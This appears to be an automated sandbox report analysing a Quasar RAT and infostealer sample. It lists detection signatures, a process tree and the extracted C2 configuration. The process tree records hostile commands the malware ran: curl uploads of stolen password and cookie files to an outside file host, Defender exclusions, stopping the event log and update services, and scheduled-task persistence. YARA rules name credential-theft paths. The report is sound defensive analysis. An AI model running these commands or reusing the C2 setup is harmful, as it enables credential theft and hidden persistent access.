Edit tour

Windows Analysis Report
w85VkFOxiD.exe

Overview

General Information

Sample name:	w85VkFOxiD.exe renamed because original name is a hash value
Original sample name:	4BB4FF4B1FA6C7E122557D8A55826242.exe
Analysis ID:	1440251
MD5:	4bb4ff4b1fa6c7e122557d8a55826242
SHA1:	241427d58cc7787fd24536821080244f344ddc74
SHA256:	a45c739b9f551d8633053381950f20a617ae2fe9c1d96d4f433d8ffa3015fb5e
Tags:	exeQuasarRATRAT
Infos:

Detection

Python Stealer, CStealer, NiceRAT, Quasar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Schedule system process

Sigma detected: Stop EventLog

Snort IDS alert for network traffic

Yara detected CStealer

Yara detected NiceRAT

Yara detected Quasar RAT

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Drops PE files to the startup folder

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the hosts file

Modifies the prolog of user mode functions (user mode inline hooks)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: System File Execution Location Anomaly

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal communication platform credentials (via file / registry access)

Uses dynamic DNS services

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

Yara detected Generic Python Stealer

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to detect virtual machines (STR)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

w85VkFOxiD.exe (PID: 5804 cmdline: "C:\Users\user\Desktop\w85VkFOxiD.exe" MD5: 4BB4FF4B1FA6C7E122557D8A55826242)

powershell.exe (PID: 3336 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA=" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

R3nzSkin_Injector.exe (PID: 2664 cmdline: "C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe" MD5: 8AF17734385F55DC58F1CA38BCE22312)

Conhost.exe (PID: 8020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Update.exe (PID: 7180 cmdline: "C:\Users\user\AppData\Roaming\Update.exe" MD5: F91699F2FF3F446461A302EA2D69BE44)

schtasks.exe (PID: 7348 cmdline: "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RuntimeBroker.exe (PID: 7428 cmdline: "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" MD5: F91699F2FF3F446461A302EA2D69BE44)

schtasks.exe (PID: 7492 cmdline: "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SearchServices.exe (PID: 7240 cmdline: "C:\Users\user\AppData\Roaming\SearchServices.exe" MD5: E35564F0BAD6C37132DC4157519F52E3)

SearchServices.exe (PID: 7556 cmdline: "C:\Users\user\AppData\Roaming\SearchServices.exe" MD5: E35564F0BAD6C37132DC4157519F52E3)

cmd.exe (PID: 7676 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7760 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7812 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 6668 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5804 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 6528 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7412 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

Conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SecurityHealthServices.exe (PID: 7296 cmdline: "C:\Users\user\AppData\Local\SecurityHealthServices.exe" MD5: 5143FE6D0C9218C03877131E7FF8F195)

powershell.exe (PID: 7584 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7872 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7936 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7880 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7992 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8032 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8080 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8144 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2004 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5480 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7372 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7392 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7008 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 2088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 4544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7536 cmdline: C:\Windows\system32\sc.exe delete "KPAADCYR" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2896 cmdline: C:\Windows\system32\sc.exe create "KPAADCYR" binpath= "C:\ProgramData\xskudridktfu\vmarkghgnurz.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7712 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7692 cmdline: C:\Windows\system32\sc.exe start "KPAADCYR" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vmarkghgnurz.exe (PID: 4428 cmdline: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe MD5: 5143FE6D0C9218C03877131E7FF8F195)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DynamicStealer	Dynamic Stealer is a Github Project C# written code by L1ghtN4n. This code collects passwords and uploads these to Telegram. According to Cyble this Eternity Stealer leverages code from this project and also Jester Stealer could be rebranded from it.	No Attribution	https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dynamicstealer

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Malware Configuration

Threatname: Quasar

{"Version": "1.4.1", "Host:Port": "bardu3662.duckdns.org:9733;", "SubDirectory": "ApplicationFrameHost", "InstallName": "RuntimeBroker.exe", "MutexName": "afa58199-2aae-4e08-8ef4-8e4ef39bc0aa", "StartupKey": "Update", "Tag": "Webhook", "LogDirectoryName": "Logs", "ServerSignature": "Q5N6/g9zFmxO1ScIoox3GiHa7JufFfLHKzumiV48m4+IZh/dhTG2RPevl5g2ETZSzFVErZ+quTEUAE+wxgqsMlH94VbyRf6QfSwMTzH0h86nD0UYfKTboIQiHb85oNid5seJILzBJiQ23tSDQHJffHYY8/pAFvkm3UmzN3YhcBVVq68UR3SdZ/ucI8Uk3riwaxUijxb0RwXJYsv5XsPwdCuLRH8VJH/3UQ5XAa05QeHKEFoVf+l6NCsxXv2CqsacdPX6E00JNbJRCw2Lncn4eyjYxsetdBNVUuWEXXdickbs6CsZQAEnaM9oie46IScSzgkq+AO/acun1gmfg4mF0kJy6hy/XPQF/JPhDGwJlpNWeOOJIR5vmck3tgJFWRuc+SjUOO6NFifMPl/qVSz8kY2u5DOoLegg5E+yilzTs1tZzZlRIoiZSR+qDI78VqLp132K9mZYE7hY1od+mn3ESj/5NFbycx/aebkvg7cmGGmJwrFfXlzn9aNrmmdLkEDRqNLfbDjoFYeX5PrI3WYaG2sWHHu2/WKPLczXCSvHPFvHIE0GCLS62DqnhgvEEx0uR+x9sJk0kxJBxRNIjK4JUssVX189xfFhWGIkHZgYxvrLqxPIJhXHRaFKddrjn2zdkemc1mLrGuCVc3trvZLfbErBrrJRZdv5Fw8EraN1kxU=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAPuDEcknjDYT2HqBiX26qTANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MDQyOTIxMjQ1OVoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAgQ20vEo+N2+LTOwPnW1Wb0vf92dR+r7EH01r29qEXKYU1huZoYQu5+JgazqBN8rZ/xANqydFHODfD+TJhLJKiJMw/8VY84epokrOc+MPVpKok59utEmYotaR4YpyPVvU0apiaojAIUJ0mGyvfougGroLp90jEo1YgraLHqvdfj89tbPgqqt2qVdYLnwIsZT4sa/qcH2ZsYU1/3JCk4hd3Q4/Pyz3oRsUNzyMPoPLcFL73vqxdNCa44zL8qYunOZmQtYzqNX+rPmiFUw6rSUpXUAmMFowbvvw3D7fse8SMYAe3q2rO0AO8VdtH8HWDRD3KYVdGhrUxVjPO1yfYKz4ogsn6pNl0SwzoiyfOT10dOtxiNbz/Ks/hTnmVWL3w4LQrnKc9qcgNjDRihFZOlsy66g6XTQnb7VySvqCiV1Huq0YbDwK/LvnzhFuhFD0v6rMkXa36zV4jzcKJgGgN2bdxK+g7uvR5jNz+KWtiS9zK0gWxgZnllvBp09mdfgeLqp3njgntwjO2TqG7Ed+qHnMVi+QwJzF5e6eXWFg7qToI5EfDmAMyLA4ctd3gEZi4kFfRCes5lueqP4G1liiyEiw1OE4PqWTVC8mFVwNbOkPXhazUYRb7kUIsc1IiQ15Wb/Ro5Ku/5CdxFqw3ZpgCyyJJt88eUIasOsrl0QjqzLzWpcCAwEAAaMyMDAwHQYDVR0OBBYEFMPwzjGDS28XbbYbAZPlhz5Is8bHMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAFcNuAqADUp7/FIBI24jlwN8dQAXr9YEOVFq8DaBEvzlFqZOx3dxCFJMXxWqkh0B9nNirCguc+7cCrQvJA6VTiUNqgEsyeIsdPgB3cx/T29Th5fCciOFXt4JcdynTKUBG9ebTbq+jTkuWTjjV9E8rRg4ArwBJnPb5paXYhJEEDgaUkejcKPyOBAYREzBS94eAw65gtV4pn796NZ1k01pz5Vjp5OJealPhFAVpjfoy6d8CiAZXkyGTm2hn3s4nBAx9U/cuckl3/NV3gbAeB97qcvXWrNJscJllGBxeiyp/PppT3BlaPWCgpI1i7EzBgfyvFDU/62vEPUzpLOqQFuXp1lqsgL3MQgjK9+dvGg5hr7gBgjf3l2lsvBJhaUNVQBzUTxDb8zUjfo7EPqJmsDcbHmbeuCU6eFlwicVVbr9x7QMLpc6al1Gdi525zy4lDdolBNzsl0qirQKwxeP7KGVTG7RtsVcYLo5R9rBmvdvV01gjGj43hSCAhtiLP8qy4WVl206qXpkrBSvroncxhDA0WWvUwP1II6WcZqPxHWh/kzd24Tl5UHYsTycAGAAUHPWxHOmryAGEAMbNX72ARlxnV9k8mIATWz402A4BbXzkID6BjnLOUctzhOv/SM+KDw+4gjFLIN1COzRzSRjCfoTiFlz+hWHNuW+xczOFxLhAnjT"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Update.exe	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
C:\Users\user\AppData\Roaming\Update.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\Update.exe	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28eed8:$x1: Quasar.Common.Messages 0x29f23c:$x1: Quasar.Common.Messages 0x2ab826:$x4: Uninstalling... good bye :-( 0x2ad01b:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
C:\Users\user\AppData\Roaming\Update.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2aadd8:$f1: FileZilla\recentservers.xml 0x2aae18:$f2: FileZilla\sitemanager.xml 0x2aae5a:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab0a6:$b1: Chrome\User Data\ 0x2ab0fc:$b1: Chrome\User Data\ 0x2ab3d4:$b2: Mozilla\Firefox\Profiles 0x2ab4d0:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fd47c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ab628:$b4: Opera Software\Opera Stable\Login Data 0x2ab6e2:$b5: YandexBrowser\User Data\ 0x2ab750:$b5: YandexBrowser\User Data\ 0x2ab424:$s4: logins.json 0x2ab15a:$a1: username_value 0x2ab178:$a2: password_value 0x2ab464:$a3: encryptedUsername 0x2fd3c0:$a3: encryptedUsername 0x2ab488:$a4: encryptedPassword 0x2fd3de:$a4: encryptedPassword 0x2fd35c:$a5: httpRealm
C:\Users\user\AppData\Roaming\Update.exe	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x164f16:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ab910:$s3: Process already elevated. 0x28ebd7:$s4: get_PotentiallyVulnerablePasswords 0x278c93:$s5: GetKeyloggerLogsDirectory 0x29e99b:$s5: GetKeyloggerLogsDirectory 0x28ebfa:$s6: set_PotentiallyVulnerablePasswords 0x2feaaa:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28eed8:$x1: Quasar.Common.Messages 0x29f23c:$x1: Quasar.Common.Messages 0x2ab826:$x4: Uninstalling... good bye :-( 0x2ad01b:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2aadd8:$f1: FileZilla\recentservers.xml 0x2aae18:$f2: FileZilla\sitemanager.xml 0x2aae5a:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab0a6:$b1: Chrome\User Data\ 0x2ab0fc:$b1: Chrome\User Data\ 0x2ab3d4:$b2: Mozilla\Firefox\Profiles 0x2ab4d0:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fd47c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ab628:$b4: Opera Software\Opera Stable\Login Data 0x2ab6e2:$b5: YandexBrowser\User Data\ 0x2ab750:$b5: YandexBrowser\User Data\ 0x2ab424:$s4: logins.json 0x2ab15a:$a1: username_value 0x2ab178:$a2: password_value 0x2ab464:$a3: encryptedUsername 0x2fd3c0:$a3: encryptedUsername 0x2ab488:$a4: encryptedPassword 0x2fd3de:$a4: encryptedPassword 0x2fd35c:$a5: httpRealm
C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x164f16:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ab910:$s3: Process already elevated. 0x28ebd7:$s4: get_PotentiallyVulnerablePasswords 0x278c93:$s5: GetKeyloggerLogsDirectory 0x29e99b:$s5: GetKeyloggerLogsDirectory 0x28ebfa:$s6: set_PotentiallyVulnerablePasswords 0x2feaaa:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.3077536564.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NiceRAT	Yara detected NiceRAT	Joe Security
0000000E.00000002.1943922111.0000021BAF850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_NiceRAT	Yara detected NiceRAT	Joe Security
0000000E.00000002.1943922111.0000021BAF850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CStealer	Yara detected CStealer	Joe Security
00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: w85VkFOxiD.exe PID: 5804	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: Update.exe PID: 7180	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
